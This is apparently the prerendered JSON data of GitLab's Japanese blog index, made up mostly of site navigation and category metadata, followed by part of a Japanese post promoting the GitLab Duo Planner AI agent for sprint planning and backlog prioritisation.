[{"data":1,"prerenderedAt":1197},["ShallowReactive",2],{"/ja-jp/blog":3,"navigation-ja-jp":19,"banner-ja-jp":419,"footer-ja-jp":429,"blogCategories-ja-jp":635,"relatedBlogPosts-ja-jp":766,"mainFeaturedPost-ja-jp":1161,"recentFeaturedPosts-ja-jp":1166,"recentPosts-ja-jp":1182},{"id":4,"title":5,"body":6,"category":6,"config":7,"content":9,"description":6,"extension":11,"meta":12,"navigation":13,"path":14,"seo":15,"slug":6,"stem":17,"testContent":6,"type":6,"__hash__":18},"pages/ja-jp/blog/index.yml","",null,{"template":8},"BlogHome",{"title":10},"GitLab日本語公式ブログ","yml",{},true,"/ja-jp/blog",{"title":10,"description":16},"GitLab公式ブログ。DevSecOps、CI/CD、セキュリティ、アジャイル開発に関するチュートリアル、製品情報、エキスパートによる解説記事を配信中。","ja-jp/blog/index","DH1H-4zPDULD2DXiy0jUPRB0bQlJQmpeAEm4J8yG_rk",{"data":20},{"logo":21,"freeTrial":26,"sales":31,"login":36,"items":41,"search":349,"minimal":382,"duo":399,"pricingDeployment":409},{"config":22},{"href":23,"dataGaName":24,"dataGaLocation":25},"/ja-jp/","gitlab logo","header",{"text":27,"config":28},"無料トライアルを開始",{"href":29,"dataGaName":30,"dataGaLocation":25},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":32,"config":33},"お問い合わせ",{"href":34,"dataGaName":35,"dataGaLocation":25},"/ja-jp/sales/","sales",{"text":37,"config":38},"サインイン",{"href":39,"dataGaName":40,"dataGaLocation":25},"https://gitlab.com/users/sign_in/","sign in",[42,69,165,170,271,331],{"text":43,"config":44,"cards":46},"プラットフォーム",{"dataNavLevelOne":45},"platform",[47,53,61],{"title":43,"description":48,"link":49},"DevSecOpsに特化したインテリジェントオーケストレーションプラットフォーム",{"text":50,"config":51},"プラットフォームを詳しく見る",{"href":52,"dataGaName":45,"dataGaLocation":25},"/ja-jp/platform/",{"title":54,"description":55,"link":56},"GitLab Duo Agent Platform","ソフトウェアライフサイクル全体を支えるエージェント型AI",{"text":57,"config":58},"GitLab Duoのご紹介",{"href":59,"dataGaName":60,"dataGaLocation":25},"/ja-jp/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":62,"description":63,"link":64},"GitLabが選ばれる理由","エンタープライズがGitLabを選ぶ主な理由をご覧ください",{"text":65,"config":66},"詳細はこちら",{"href":67,"dataGaName":68,"dataGaLocation":25},"/ja-jp/why-gitlab/","why gitlab",{"text":70,"left":13,"config":71,"link":73,"lists":77,"footer":147},"製品",{"dataNavLevelOne":72},"solutions",{"text":74,"config":75},"すべてのソリューションを表示",{"href":76,"dataGaName":72,"dataGaLocation":25},"/ja-jp/solutions/",[78,103,125],{"title":79,"description":80,"link":81,"items":86},"自動化","CI/CDと自動化でデプロイを加速",{"config":82},{"icon":83,"href":84,"dataGaName":85,"dataGaLocation":25},"AutomatedCodeAlt","/ja-jp/solutions/delivery-automation/","automated software delivery",[87,91,94,99],{"text":88,"config":89},"CI/CD",{"href":90,"dataGaLocation":25,"dataGaName":88},"/ja-jp/solutions/continuous-integration/",{"text":54,"config":92},{"href":59,"dataGaLocation":25,"dataGaName":93},"gitlab duo agent platform - product menu",{"text":95,"config":96},"ソースコード管理",{"href":97,"dataGaLocation":25,"dataGaName":98},"/ja-jp/solutions/source-code-management/","Source Code Management",{"text":100,"config":101},"自動化されたソフトウェアデリバリー",{"href":84,"dataGaLocation":25,"dataGaName":102},"Automated software delivery",{"title":104,"description":105,"link":106,"items":111},"セキュリティ","セキュリティを犠牲にすることなくコード作成を高速化",{"config":107},{"href":108,"dataGaName":109,"dataGaLocation":25,"icon":110},"/ja-jp/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[112,116,121],{"text":113,"config":114},"Application Security Testing",{"href":108,"dataGaName":115,"dataGaLocation":25},"Application security testing",{"text":117,"config":118},"ソフトウェアサプライチェーンの安全性",{"href":119,"dataGaLocation":25,"dataGaName":120},"/ja-jp/solutions/supply-chain/","Software supply chain security",{"text":122,"config":123},"Software Compliance",{"href":124,"dataGaName":122,"dataGaLocation":25},"/ja-jp/solutions/software-compliance/",{"title":126,"link":127,"items":132},"測定",{"config":128},{"icon":129,"href":130,"dataGaName":131,"dataGaLocation":25},"DigitalTransformation","/ja-jp/solutions/visibility-measurement/","visibility and measurement",[133,137,142],{"text":134,"config":135},"可視性と測定",{"href":130,"dataGaLocation":25,"dataGaName":136},"Visibility and Measurement",{"text":138,"config":139},"バリューストリーム管理",{"href":140,"dataGaLocation":25,"dataGaName":141},"/ja-jp/solutions/value-stream-management/","Value Stream Management",{"text":143,"config":144},"分析とインサイト",{"href":145,"dataGaLocation":25,"dataGaName":146},"/ja-jp/solutions/analytics-and-insights/","Analytics and insights",{"title":148,"items":149},"GitLabが活躍する場所",[150,155,160],{"text":151,"config":152},"Enterprise",{"href":153,"dataGaLocation":25,"dataGaName":154},"/ja-jp/enterprise/","enterprise",{"text":156,"config":157},"スモールビジネス",{"href":158,"dataGaLocation":25,"dataGaName":159},"/ja-jp/small-business/","small business",{"text":161,"config":162},"公共機関",{"href":163,"dataGaLocation":25,"dataGaName":164},"/ja-jp/solutions/public-sector/","public sector",{"text":166,"config":167},"価格",{"href":168,"dataGaName":169,"dataGaLocation":25,"dataNavLevelOne":169},"/ja-jp/pricing/","pricing",{"text":171,"config":172,"link":174,"lists":178,"feature":258},"関連リソース",{"dataNavLevelOne":173},"resources",{"text":175,"config":176},"すべてのリソースを表示",{"href":177,"dataGaName":173,"dataGaLocation":25},"/ja-jp/resources/",[179,212,230],{"title":180,"items":181},"はじめに",[182,187,192,197,202,207],{"text":183,"config":184},"インストール",{"href":185,"dataGaName":186,"dataGaLocation":25},"/ja-jp/install/","install",{"text":188,"config":189},"クイックスタートガイド",{"href":190,"dataGaName":191,"dataGaLocation":25},"/ja-jp/get-started/","quick setup checklists",{"text":193,"config":194},"学ぶ",{"href":195,"dataGaLocation":25,"dataGaName":196},"https://university.gitlab.com/","learn",{"text":198,"config":199},"製品ドキュメント",{"href":200,"dataGaName":201,"dataGaLocation":25},"https://docs.gitlab.com/","product documentation",{"text":203,"config":204},"ベストプラクティスビデオ",{"href":205,"dataGaName":206,"dataGaLocation":25},"/ja-jp/getting-started-videos/","best practice videos",{"text":208,"config":209},"インテグレーション",{"href":210,"dataGaName":211,"dataGaLocation":25},"/ja-jp/integrations/","integrations",{"title":213,"items":214},"検索する",[215,220,225],{"text":216,"config":217},"お客様成功事例",{"href":218,"dataGaName":219,"dataGaLocation":25},"/ja-jp/customers/","customer success stories",{"text":221,"config":222},"ブログ",{"href":223,"dataGaName":224,"dataGaLocation":25},"/ja-jp/blog/","blog",{"text":226,"config":227},"リモート",{"href":228,"dataGaName":229,"dataGaLocation":25},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":231,"items":232},"つなげる",[233,238,243,248,253],{"text":234,"config":235},"GitLabサービス",{"href":236,"dataGaName":237,"dataGaLocation":25},"/ja-jp/services/","services",{"text":239,"config":240},"コミュニティ",{"href":241,"dataGaName":242,"dataGaLocation":25},"/community/","community",{"text":244,"config":245},"フォーラム",{"href":246,"dataGaName":247,"dataGaLocation":25},"https://forum.gitlab.com/","forum",{"text":249,"config":250},"イベント",{"href":251,"dataGaName":252,"dataGaLocation":25},"/events/","events",{"text":254,"config":255},"パートナー",{"href":256,"dataGaName":257,"dataGaLocation":25},"/ja-jp/partners/","partners",{"backgroundColor":259,"textColor":260,"text":261,"image":262,"link":266},"#2f2a6b","#fff","ソフトウェア開発の未来への洞察",{"altText":263,"config":264},"ソースプロモカード",{"src":265},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":267,"config":268},"最新情報を読む",{"href":269,"dataGaName":270,"dataGaLocation":25},"/ja-jp/the-source/","the source",{"text":272,"config":273,"lists":275},"会社情報",{"dataNavLevelOne":274},"company",[276],{"items":277},[278,283,289,291,296,301,306,311,316,321,326],{"text":279,"config":280},"GitLabについて",{"href":281,"dataGaName":282,"dataGaLocation":25},"/ja-jp/company/","about",{"text":284,"config":285,"footerGa":288},"採用情報",{"href":286,"dataGaName":287,"dataGaLocation":25},"/jobs/","jobs",{"dataGaName":287},{"text":249,"config":290},{"href":251,"dataGaName":252,"dataGaLocation":25},{"text":292,"config":293},"経営陣",{"href":294,"dataGaName":295,"dataGaLocation":25},"/company/team/e-group/","leadership",{"text":297,"config":298},"チーム",{"href":299,"dataGaName":300,"dataGaLocation":25},"/company/team/","team",{"text":302,"config":303},"ハンドブック",{"href":304,"dataGaName":305,"dataGaLocation":25},"https://handbook.gitlab.com/","handbook",{"text":307,"config":308},"投資家向け情報",{"href":309,"dataGaName":310,"dataGaLocation":25},"https://ir.gitlab.com/","investor relations",{"text":312,"config":313},"トラストセンター",{"href":314,"dataGaName":315,"dataGaLocation":25},"/ja-jp/security/","trust center",{"text":317,"config":318},"AI Transparency Center",{"href":319,"dataGaName":320,"dataGaLocation":25},"/ja-jp/ai-transparency-center/","ai transparency center",{"text":322,"config":323},"ニュースレター",{"href":324,"dataGaName":325,"dataGaLocation":25},"/company/contact/#contact-forms","newsletter",{"text":327,"config":328},"プレス",{"href":329,"dataGaName":330,"dataGaLocation":25},"/press/","press",{"text":32,"config":332,"lists":333},{"dataNavLevelOne":274},[334],{"items":335},[336,339,344],{"text":32,"config":337},{"href":34,"dataGaName":338,"dataGaLocation":25},"talk to sales",{"text":340,"config":341},"サポートポータル",{"href":342,"dataGaName":343,"dataGaLocation":25},"https://support.gitlab.com","support portal",{"text":345,"config":346},"カスタマーポータル",{"href":347,"dataGaName":348,"dataGaLocation":25},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":350,"login":351,"suggestions":358},"閉じる",{"text":352,"link":353},"リポジトリとプロジェクトを検索するには、次にログインします",{"text":354,"config":355},"GitLab.com",{"href":39,"dataGaName":356,"dataGaLocation":357},"search login","search",{"text":359,"default":360},"提案",[361,363,368,370,374,378],{"text":54,"config":362},{"href":59,"dataGaName":54,"dataGaLocation":357},{"text":364,"config":365},"コード提案（AI）",{"href":366,"dataGaName":367,"dataGaLocation":357},"/ja-jp/solutions/code-suggestions/","Code Suggestions (AI)",{"text":88,"config":369},{"href":90,"dataGaName":88,"dataGaLocation":357},{"text":371,"config":372},"GitLab on AWS",{"href":373,"dataGaName":371,"dataGaLocation":357},"/ja-jp/partners/technology-partners/aws/",{"text":375,"config":376},"GitLab on Google Cloud",{"href":377,"dataGaName":375,"dataGaLocation":357},"/ja-jp/partners/technology-partners/google-cloud-platform/",{"text":379,"config":380},"GitLabを選ぶ理由",{"href":67,"dataGaName":381,"dataGaLocation":357},"Why GitLab?",{"freeTrial":383,"mobileIcon":387,"desktopIcon":392,"secondaryButton":395},{"text":27,"config":384},{"href":385,"dataGaName":30,"dataGaLocation":386},"https://gitlab.com/-/trials/new/","nav",{"altText":388,"config":389},"GitLabアイコン",{"src":390,"dataGaName":391,"dataGaLocation":386},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":388,"config":393},{"src":394,"dataGaName":391,"dataGaLocation":386},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":180,"config":396},{"href":397,"dataGaName":398,"dataGaLocation":386},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp/compare/gitlab-vs-github/","get started",{"freeTrial":400,"mobileIcon":405,"desktopIcon":407},{"text":401,"config":402},"GitLab Duoの詳細について",{"href":403,"dataGaName":404,"dataGaLocation":386},"/ja-jp/gitlab-duo/","gitlab duo",{"altText":388,"config":406},{"src":390,"dataGaName":391,"dataGaLocation":386},{"altText":388,"config":408},{"src":394,"dataGaName":391,"dataGaLocation":386},{"freeTrial":410,"mobileIcon":415,"desktopIcon":417},{"text":411,"config":412},"料金ページに戻る",{"href":168,"dataGaName":413,"dataGaLocation":386,"icon":414},"back to pricing","GoBack",{"altText":388,"config":416},{"src":390,"dataGaName":391,"dataGaLocation":386},{"altText":388,"config":418},{"src":394,"dataGaName":391,"dataGaLocation":386},{"title":420,"button":421,"config":426},"エージェント型AIがソフトウェア配信をどのように変革するかをご覧ください",{"text":422,"config":423},"GitLab Transcendを今すぐ視聴",{"href":424,"dataGaName":425,"dataGaLocation":25},"/ja-jp/events/transcend/virtual/","transcend event",{"layout":427,"icon":428},"release","AiStar",{"data":430},{"text":431,"source":432,"edit":438,"contribute":443,"config":448,"items":453,"minimal":627},"GitはSoftware Freedom Conservancyの商標です。当社は「GitLab」をライセンスに基づいて使用しています",{"text":433,"config":434},"ページのソースを表示",{"href":435,"dataGaName":436,"dataGaLocation":437},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":439,"config":440},"このページを編集",{"href":441,"dataGaName":442,"dataGaLocation":437},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":444,"config":445},"ご協力をお願いします",{"href":446,"dataGaName":447,"dataGaLocation":437},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":449,"facebook":450,"youtube":451,"linkedin":452},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[454,477,531,561,596],{"title":43,"links":455,"subMenu":460},[456],{"text":457,"config":458},"DevSecOpsプラットフォーム",{"href":52,"dataGaName":459,"dataGaLocation":437},"devsecops platform",[461],{"title":166,"links":462},[463,467,472],{"text":464,"config":465},"プランの表示",{"href":168,"dataGaName":466,"dataGaLocation":437},"view plans",{"text":468,"config":469},"Premiumを選ぶ理由",{"href":470,"dataGaName":471,"dataGaLocation":437},"/ja-jp/pricing/premium/","why premium",{"text":473,"config":474},"Ultimateを選ぶ理由",{"href":475,"dataGaName":476,"dataGaLocation":437},"/ja-jp/pricing/ultimate/","why ultimate",{"title":478,"links":479},"ソリューション",[480,485,488,490,495,500,504,507,510,515,517,519,521,526],{"text":481,"config":482},"デジタルトランスフォーメーション",{"href":483,"dataGaName":484,"dataGaLocation":437},"/ja-jp/topics/digital-transformation/","digital transformation",{"text":486,"config":487},"セキュリティとコンプライアンス",{"href":108,"dataGaName":115,"dataGaLocation":437},{"text":100,"config":489},{"href":84,"dataGaName":85,"dataGaLocation":437},{"text":491,"config":492},"アジャイル開発",{"href":493,"dataGaName":494,"dataGaLocation":437},"/ja-jp/solutions/agile-delivery/","agile delivery",{"text":496,"config":497},"クラウドトランスフォーメーション",{"href":498,"dataGaName":499,"dataGaLocation":437},"/ja-jp/topics/cloud-native/","cloud transformation",{"text":501,"config":502},"SCM",{"href":97,"dataGaName":503,"dataGaLocation":437},"source code management",{"text":88,"config":505},{"href":90,"dataGaName":506,"dataGaLocation":437},"continuous integration & delivery",{"text":138,"config":508},{"href":140,"dataGaName":509,"dataGaLocation":437},"value stream management",{"text":511,"config":512},"GitOps",{"href":513,"dataGaName":514,"dataGaLocation":437},"/ja-jp/solutions/gitops/","gitops",{"text":151,"config":516},{"href":153,"dataGaName":154,"dataGaLocation":437},{"text":156,"config":518},{"href":158,"dataGaName":159,"dataGaLocation":437},{"text":161,"config":520},{"href":163,"dataGaName":164,"dataGaLocation":437},{"text":522,"config":523},"教育",{"href":524,"dataGaName":525,"dataGaLocation":437},"/ja-jp/solutions/education/","education",{"text":527,"config":528},"金融サービス",{"href":529,"dataGaName":530,"dataGaLocation":437},"/ja-jp/solutions/finance/","financial services",{"title":171,"links":532},[533,535,537,539,542,544,547,549,551,553,555,557,559],{"text":183,"config":534},{"href":185,"dataGaName":186,"dataGaLocation":437},{"text":188,"config":536},{"href":190,"dataGaName":191,"dataGaLocation":437},{"text":193,"config":538},{"href":195,"dataGaName":196,"dataGaLocation":437},{"text":198,"config":540},{"href":200,"dataGaName":541,"dataGaLocation":437},"docs",{"text":221,"config":543},{"href":223,"dataGaName":224},{"text":545,"config":546},"お客様の成功事例",{"href":218,"dataGaLocation":437},{"text":216,"config":548},{"href":218,"dataGaName":219,"dataGaLocation":437},{"text":226,"config":550},{"href":228,"dataGaName":229,"dataGaLocation":437},{"text":234,"config":552},{"href":236,"dataGaName":237,"dataGaLocation":437},{"text":239,"config":554},{"href":241,"dataGaName":242,"dataGaLocation":437},{"text":244,"config":556},{"href":246,"dataGaName":247,"dataGaLocation":437},{"text":249,"config":558},{"href":251,"dataGaName":252,"dataGaLocation":437},{"text":254,"config":560},{"href":256,"dataGaName":257,"dataGaLocation":437},{"title":562,"links":563},"Company",[564,566,568,570,572,574,576,580,585,587,589,591],{"text":279,"config":565},{"href":281,"dataGaName":274,"dataGaLocation":437},{"text":284,"config":567},{"href":286,"dataGaName":287,"dataGaLocation":437},{"text":292,"config":569},{"href":294,"dataGaName":295,"dataGaLocation":437},{"text":297,"config":571},{"href":299,"dataGaName":300,"dataGaLocation":437},{"text":302,"config":573},{"href":304,"dataGaName":305,"dataGaLocation":437},{"text":307,"config":575},{"href":309,"dataGaName":310,"dataGaLocation":437},{"text":577,"config":578},"Sustainability",{"href":579,"dataGaName":577,"dataGaLocation":437},"/sustainability/",{"text":581,"config":582},"ダイバーシティ、インクルージョン、ビロンギング（DIB）",{"href":583,"dataGaName":584,"dataGaLocation":437},"/ja-jp/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":312,"config":586},{"href":314,"dataGaName":315,"dataGaLocation":437},{"text":322,"config":588},{"href":324,"dataGaName":325,"dataGaLocation":437},{"text":327,"config":590},{"href":329,"dataGaName":330,"dataGaLocation":437},{"text":592,"config":593},"現代奴隷制の透明性に関する声明",{"href":594,"dataGaName":595,"dataGaLocation":437},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":32,"links":597},[598,600,605,607,612,617,622],{"text":32,"config":599},{"href":34,"dataGaName":35,"dataGaLocation":437},{"text":601,"config":602},"サポートを受ける",{"href":603,"dataGaName":604,"dataGaLocation":437},"/support/","get help",{"text":345,"config":606},{"href":347,"dataGaName":348,"dataGaLocation":437},{"text":608,"config":609},"ステータス",{"href":610,"dataGaName":611,"dataGaLocation":437},"https://status.gitlab.com/","status",{"text":613,"config":614},"利用規約",{"href":615,"dataGaName":616,"dataGaLocation":437},"/terms/","terms of use",{"text":618,"config":619},"プライバシーに関する声明",{"href":620,"dataGaName":621,"dataGaLocation":437},"/ja-jp/privacy/","privacy statement",{"text":623,"config":624},"Cookieの設定",{"dataGaName":625,"dataGaLocation":437,"id":626,"isOneTrustButton":13},"cookie preferences","ot-sdk-btn",{"items":628},[629,631,633],{"text":613,"config":630},{"href":615,"dataGaName":616,"dataGaLocation":437},{"text":618,"config":632},{"href":620,"dataGaName":621,"dataGaLocation":437},{"text":623,"config":634},{"dataGaName":625,"dataGaLocation":437,"id":626,"isOneTrustButton":13},[636,651,664,677,690,703,716,729,742,754],{"id":637,"title":638,"body":6,"category":6,"config":639,"content":643,"description":6,"extension":11,"meta":645,"navigation":13,"path":646,"seo":647,"slug":6,"stem":649,"testContent":6,"type":6,"__hash__":650},"blogCategories/ja-jp/blog/categories/agile-planning.yml","Agile Planning",{"template":640,"slug":641,"hide":642},"BlogCategory","agile-planning",false,{"name":644},"アジャイル計画",{},"/ja-jp/blog/categories/agile-planning",{"title":644,"description":648},"Browse articles related to アジャイル計画 on the GitLab Blog","ja-jp/blog/categories/agile-planning","3XMGWxFID4Xn7Zb7VG5t2ErvQiOZyEA8qGjj9AZnkUc",{"id":652,"title":653,"body":6,"category":6,"config":654,"content":656,"description":6,"extension":11,"meta":658,"navigation":13,"path":659,"seo":660,"slug":6,"stem":662,"testContent":6,"type":6,"__hash__":663},"blogCategories/ja-jp/blog/categories/ai-ml.yml","Ai Ml",{"template":640,"slug":655,"hide":642},"ai-ml",{"name":657},"AIと機械学習",{},"/ja-jp/blog/categories/ai-ml",{"title":657,"description":661},"Browse articles related to AIと機械学習 on the GitLab Blog","ja-jp/blog/categories/ai-ml","jG8GFqwOpXrztyTsaopr9C1P8WFUG5S3gcnAG80ISE8",{"id":665,"title":666,"body":6,"category":6,"config":667,"content":669,"description":6,"extension":11,"meta":671,"navigation":13,"path":672,"seo":673,"slug":6,"stem":675,"testContent":6,"type":6,"__hash__":676},"blogCategories/ja-jp/blog/categories/bulletin-board.yml","Bulletin Board",{"template":640,"slug":668,"hide":642},"bulletin-board",{"name":670},"掲示板",{},"/ja-jp/blog/categories/bulletin-board",{"title":670,"description":674},"Browse articles related to 掲示板 on the GitLab Blog","ja-jp/blog/categories/bulletin-board","MCS_b-O2cABvp9xxJ-YiiNBeq8NPH1SWUDEpRA2FMvY",{"id":678,"title":679,"body":6,"category":6,"config":680,"content":682,"description":6,"extension":11,"meta":684,"navigation":13,"path":685,"seo":686,"slug":6,"stem":688,"testContent":6,"type":6,"__hash__":689},"blogCategories/ja-jp/blog/categories/customer-stories.yml","Customer Stories",{"template":640,"slug":681,"hide":642},"customer-stories",{"name":683},"お客様事例",{},"/ja-jp/blog/categories/customer-stories",{"title":683,"description":687},"Browse articles related to お客様事例 on the GitLab Blog","ja-jp/blog/categories/customer-stories","lGVL4JgeCQ2qcti0wiiHR18KAnwiYgSBJ79UeuKh46U",{"id":691,"title":692,"body":6,"category":6,"config":693,"content":695,"description":6,"extension":11,"meta":697,"navigation":13,"path":698,"seo":699,"slug":6,"stem":701,"testContent":6,"type":6,"__hash__":702},"blogCategories/ja-jp/blog/categories/devsecops.yml","Devsecops",{"template":640,"slug":694,"hide":642},"devsecops",{"name":696},"DevSecOps",{},"/ja-jp/blog/categories/devsecops",{"title":696,"description":700},"Browse articles related to DevSecOps on the GitLab Blog","ja-jp/blog/categories/devsecops","PnENGBCysjZBR9hTtQiP2ai_Fl_1S4liCpNVrKHG714",{"id":704,"title":705,"body":6,"category":6,"config":706,"content":708,"description":6,"extension":11,"meta":710,"navigation":13,"path":711,"seo":712,"slug":6,"stem":714,"testContent":6,"type":6,"__hash__":715},"blogCategories/ja-jp/blog/categories/engineering.yml","Engineering",{"template":640,"slug":707,"hide":642},"engineering",{"name":709},"エンジニアリング",{},"/ja-jp/blog/categories/engineering",{"title":709,"description":713},"Browse articles related to エンジニアリング on the GitLab Blog","ja-jp/blog/categories/engineering","SP1p0HNY-4BlLIVgrET9_T9CAStAMizH3Ee46PrhOa0",{"id":717,"title":718,"body":6,"category":6,"config":719,"content":721,"description":6,"extension":11,"meta":723,"navigation":13,"path":724,"seo":725,"slug":6,"stem":727,"testContent":6,"type":6,"__hash__":728},"blogCategories/ja-jp/blog/categories/news.yml","News",{"template":640,"slug":720,"hide":642},"news",{"name":722},"ニュース",{},"/ja-jp/blog/categories/news",{"title":722,"description":726},"Browse articles related to ニュース on the GitLab Blog","ja-jp/blog/categories/news","rAtdE3wLr8GCjTriOnwwNVbk-lwcHv7Hr8-ThDV-7Yk",{"id":730,"title":731,"body":6,"category":6,"config":732,"content":734,"description":6,"extension":11,"meta":736,"navigation":13,"path":737,"seo":738,"slug":6,"stem":740,"testContent":6,"type":6,"__hash__":741},"blogCategories/ja-jp/blog/categories/open-source.yml","Open Source",{"template":640,"slug":733,"hide":642},"open-source",{"name":735},"オープンソース",{},"/ja-jp/blog/categories/open-source",{"title":735,"description":739},"Browse articles related to オープンソース on the GitLab Blog","ja-jp/blog/categories/open-source","LCQ49rG9L1fAIcDY77l5gbBeJfk0jZDAh6RiQm8iSEw",{"id":743,"title":744,"body":6,"category":6,"config":745,"content":747,"description":6,"extension":11,"meta":748,"navigation":13,"path":749,"seo":750,"slug":6,"stem":752,"testContent":6,"type":6,"__hash__":753},"blogCategories/ja-jp/blog/categories/product.yml","Product",{"template":640,"slug":746,"hide":642},"product",{"name":70},{},"/ja-jp/blog/categories/product",{"title":70,"description":751},"Browse articles related to 製品 on the GitLab Blog","ja-jp/blog/categories/product","T5gPLT0EKa55oFAhzMvgYqcDzsDivjGj_s2lEGUoVSw",{"id":755,"title":756,"body":6,"category":6,"config":757,"content":759,"description":6,"extension":11,"meta":760,"navigation":13,"path":761,"seo":762,"slug":6,"stem":764,"testContent":6,"type":6,"__hash__":765},"blogCategories/ja-jp/blog/categories/security.yml","Security",{"template":640,"slug":758,"hide":642},"security",{"name":104},{},"/ja-jp/blog/categories/security",{"title":104,"description":763},"Browse articles related to セキュリティ on the GitLab Blog","ja-jp/blog/categories/security","NurKrti9U9DuY3QiqXnIttJSyKF0TC_mNZTQ_Le6Yek",[767,812,849,887,926,967,1009,1047,1084,1120],{"category":644,"slug":641,"posts":768},[769,786,799],{"content":770,"config":783},{"title":771,"description":772,"heroImage":773,"date":774,"body":775,"category":641,"tags":776,"authors":780},"コンテキストスイッチを排除した効率的な計画","GitLab Duo Planner Agentが、プロダクトマネージャーとエンジニアリングマネージャーが最も重要な業務に集中できるよう支援し、タスクを簡素化して時間を節約する方法をご紹介します。\n\n","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098354/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_5XrohmuWBNuqL89BxVUzWm_1750098354056.png","2025-10-28","ソフトウェア開発チームは、難しいバランス調整に日々直面しています。数十ものタスク、限られた時間、そして次に取り組むべき適切な作業の優先順位を考えて選択するという絶え間ないプレッシャーです。\n\n要件の構造化、バックログの管理、リリースの管理、ステータス更新の作成といった計画のオーバーヘッドが、戦略的思考に費やす貴重な時間を奪っています。\n\nつまり、プロダクトを前進させる、高価値な意思決定に割ける時間が減少してしまうのです。\n\nそこで開発されたのが[GitLab Duo Planner](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/planner/)です。これは、[GitLab Duo Agent Platform](https://about.gitlab.com/ja-jp/gitlab-duo-agent-platform/)上に構築されたAIエージェントで、GitLab内で直接プロダクトマネージャーをサポートします。\n\nGitLab Duo Plannerは、単なる汎用的なAIアシスタントではありません。多くのお客様と同様に、日々こうした課題に直面しているGitLabのプロダクトチームとエンジニアリングチームが、計画ワークフローを最適化し、チーム連携と予測可能性を向上させながらオーバーヘッドを削減できるようにするために、特別に構築されたものです。\n\n## 計画を支援するAI\n\n既存の計画ワークフローには、3つの大きな問題があります：\n\n1. 計画のずれが生じやすい - 計画外の作業や放置された作業により、計画への信頼が低下する。\n2. デベロッパーの作業を中断させる - ステータス更新のための絶え間ない中断が、作業の流れを断ち切る。\n3. 不透明性 - 隠れたリスクが、手遅れになってから表面化する。\n\nチームの働き方を変革するGitLab Duo Plannerは、漠然としたアイデアを数分で構造化された要件に変換するなど、手動のオーバーヘッドを削減します。スプリントを脱線させる前に、隠れたバックログ問題を可視化し、RICEやMoSCoWフレームワークを即座に適用して、確信を持って優先順位付けの意思決定を行えます。プラットフォーム全体でGitLabコンテキストを認識しているため、GitLab Duo Plannerとのすべてのやり取りが時間を節約し、意思決定の質を向上させます。これは、GitLab固有の深いドメイン専門知識とコンテキスト認識をもたらす基盤となるエージェントアーキテクチャによって実現されています。\n\n## チームのために構築\n\nGitLab Duo Plannerは、作業アイテム（エピック、イシュー、タスク）を活用し、作業分解構造、依存関係分析、工数見積もりのニュアンスを理解するので、可視性、連携、デリバリーへの確信を高める上で最適です。\n\n* プラットフォームアプローチ - ポイントソリューションとは異なり、Duo Plannerは計画から開発、テストまで、GitLabプラットフォーム全体をオーケストレーションし、チームとワークフロー全体の可視性を向上します。\n\n* フローに組み込まれた設計 - ツール間のコンテキストスイッチや、必要な情報を取得するためにGitLabの複雑な階層をたどる必要がなくなります。Duo Plannerは、ソフトウェア開発ライフサイクル全体のユーザーからのコントリビュート、コラボレーション、透明性の維持を可能にします。\n\n* 時間と労力を節約 - Duo Plannerを使用して、繰り返しの調整作業からチームを解放し、デリバリーの予測可能性を向上させ、コミットメントの見落としを減らしながら、実際に成果を生み出す要素に集中できるようになります。\n\n## 複雑な計画をシンプルに\n\nGitLab Duo Plannerは、計画スコープ内で安全かつ制約された環境を提供し、プロジェクトの可視性を確保しながら、ソフトウェアの計画とデリバリーのさまざまな段階で支援します。\n\nエージェントは、次の6つのフローを支援します：\n\n* 優先順位付け - RICE、MoSCoW、WSJFなどのフレームワークを適用して、作業アイテムをインテリジェントにランク付け。\n\n* 作業分解 - イニシアチブをエピック、フィーチャー、ユーザーストーリーに分解して、要件を構造化。\n\n* 依存関係分析 - ブロックされた作業を特定し、アイテム間の関係を理解して、ベロシティを維持。\n\n* 計画 - スプリント、マイルストーン、または四半期ごとの計画を整理。\n\n* ステータスレポート - プロジェクトの進捗状況、リスク、ブロッカーのサマリーを生成して、デリバリーを追跡。\n\n* バックログ管理 - 古いイシュー、重複、または改善が必要なアイテムを特定して、データの健全性を向上。\n\n\n以下は、GitLab Duo Plannerがイニシアチブのステータスを確認する例です：\n\n\u003Cdiv>\u003Ciframe src=\"https://player.vimeo.com/video/1131065078?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Duo Planner Agent\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\u003Cp>\u003C/p>\n\nDuo Plannerは、現在のページコンテキストを持つDuo Chatサイドパネル内のカスタムエージェントとして利用できます。\n\n\u003Cp>\u003C/p>\n\n![Duo Plannerは、Duo 